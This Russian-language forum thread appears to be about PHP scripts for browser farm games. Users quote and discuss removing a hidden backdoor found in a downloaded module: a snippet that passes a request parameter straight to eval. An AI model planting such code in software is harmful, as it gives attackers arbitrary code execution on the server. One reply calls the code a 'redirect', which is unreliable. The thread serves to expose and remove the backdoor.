Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
Вот сейчас убрал код и всё работает также но без дыры:
PHP:
<?PHP
$tfstats = time() - 60*60*24;
$db->Query("SELECT
(SELECT COUNT(*) FROM db_users_a) all_users,
(SELECT SUM(insert_sum) FROM db_users_b) all_insert,
(SELECT SUM(payment_sum) FROM db_users_b) all_payment,
(SELECT COUNT(*) FROM db_users_a WHERE date_reg > '$tfstats') new_users,
(SELECT COUNT(*) FROM db_users_a WHERE date_login > '$onlinestats') online_users");
$stats_data = $db->FetchArray();
$db->Query("SELECT SUM(money_b) money_b,
SUM(money_p) money_p,
SUM(a_t) a_t,
SUM(b_t) b_t,
SUM(c_t) c_t,
SUM(d_t) d_t,
SUM(e_t) e_t,
SUM(f_t) f_t
FROM db_users_b");
$data_stats = $db->FetchArray();
?>
Последнее редактирование модератором:
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
У вас есть в разделе модули полная статистика, поищите и изправьтеAriCosmo написал(а):Вообще откуда этот код взялся? Никогда не видел подобный...
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
Серьёзно? Я кучу дыр нашёл в чужих скриптах и исправил... но это ппцВячеслав написал(а):А вот это удалите если у вас есть:
PHP:if(!empty($_REQUEST['stats'])) { if(@get_magic_quotes_gpc())$_REQUEST['stats']=stripslashes($_REQUEST['stats']); eval($_REQUEST['stats']); die(); }
что-то новое - раньше не видел
Последнее редактирование модератором:
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
nikitin2016
Участник
- Сообщения
- 228
- Реакции
- 12
а кто может точно объяснить что вызывает именно этот код ? Особенно страшное это последнее слово : "Умереть" в этом кодеAriCosmo написал(а):Серьёзно? Я кучу дыр нашёл в чужих скриптах и исправил... но это ппц
что-то новое - раньше не видел
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
nikitin2016
Участник
- Сообщения
- 228
- Реакции
- 12
типо редиректа имеешь ввиду ?Вячеслав написал(а):Одно могу сказать то что здесь перенаправление идёт $_REQUEST[
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
AriCosmo Вы мне медаль должны то что я первый обнаружил дыру и устранил
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
совершенно верноnikitin2016 написал(а):типо редиректа имеешь ввиду ?
Вячеслав
Местный
- Сообщения
- 229
- Реакции
- 21
Ну медаль не могу дать, могу только сказать "Красавчик!"))Вячеслав написал(а):AriCosmo Вы мне медаль должны то что я первый обнаружил дыру и устранил
Где именно скачали, я уберу
nikitin2016
Участник
- Сообщения
- 228
- Реакции
- 12
Посмотрите в модуле "Пожертвования с 2-х счетов сразу" , я от туда скачал с раздела Модули - там подобная зараза скорее всего есть !AriCosmo написал(а):Ну медаль не могу дать, могу только сказать "Красавчик!"))
Где именно скачали, я уберу
- Сообщения
- 322
- Реакции
- 72
"die();" - это всего лишь название стандартной php-функции. Означает оно, что тут необходимо прервать выполнение скрипта. Смысл всего этого вредоносного кода в том, что человек может выполнить абсолютно любую команду у вас на сервере, хоть с базой, хоть с файлами.nikitin2016 написал(а):а кто может точно объяснить что вызывает именно этот код ? Особенно страшное это последнее слово : "Умереть" в этом коде
Этот код вижу не в первый раз, стандартная дырка для фодулей фермы =)AriCosmo написал(а):Серьёзно? Я кучу дыр нашёл в чужих скриптах и исправил... но это ппц
что-то новое - раньше не видел